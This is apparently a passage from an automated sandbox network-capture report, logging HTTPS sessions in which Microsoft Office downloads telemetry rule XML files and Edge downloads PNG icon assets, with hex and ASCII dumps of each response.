2024-11-23 23:06:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:51 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: d8899c23-b01e-003e-234e-3c8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230651Z-15b8b599d88wk8w4hC1TEB14b800000003p0000000007m5s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:51 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	49885	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:52 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:52 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: ecab23c4-c01e-00ad-2963-3ba2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230652Z-178bfbc474bw8bwphC1NYC38b40000000510000000003h5k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:52 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:52 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:52 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: a6c16221-901e-002a-0257-3c7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230652Z-15b8b599d88cn5thhC1TEBqxkn00000003h00000000060du x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:52 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49892	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:53 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:53 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:53 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 5f785e56-701e-0053-0854-3c3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230653Z-178bfbc474bpnd5vhC1NYC4vr4000000055g000000005e7q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:53 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:53 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:53 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:53 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: b3049c5e-001e-0082-330c-3d5880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230653Z-178bfbc474bbcwv4hC1NYCypys00000004z000000000b504 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:53 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	49893	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:53 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 23:06:53 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:53 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: 7a39f588-d01e-0014-712e-3ded58000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T230653Z-178bfbc474bvjk8shC1NYC83ns0000000500000000007bd2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:53 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	49895	13.107.246.40	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:53 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 23:06:54 UTC	523	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:54 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 3e2a53ee-101e-001e-32fc-3db2ea000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T230653Z-178bfbc474bwh9gmhC1NYCy3rs00000005900000000034h7 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-23 23:06:54 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	49899	13.107.246.40	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:54 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 23:06:54 UTC	543	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:54 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: ff86f562-e01e-0022-40f6-3d0631000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T230654Z-178bfbc474bgvl54hC1NYCsfuw0000000570000000000ns8 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 23:06:54 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	49898	13.107.246.40	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:54 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 23:06:54 UTC	543	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:54 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: 3de0ab41-e01e-004f-365c-3dac1f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T230654Z-174c587ffdf8fcgwhC1TEBnn7000000003u00000000055fg Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-23 23:06:54 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	49900	13.107.246.40	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:54 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 23:06:54 UTC	523	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:54 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: 3e37adc5-001e-004e-30fc-3dade2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T230654Z-174c587ffdfb5q56hC1TEB04kg00000003d000000000q7pp Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-23 23:06:54 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	49896	13.107.246.40	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:54 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-23 23:06:54 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 23:06:54 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 47090967-801e-0039-5dd6-3d28a3000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241123T230654Z-15b8b599d882hxlwhC1TEBfa5w00000003gg000000007uqw Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 23:06:54 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	49897	13.107.246.40	443	7804	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 23:06:54 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
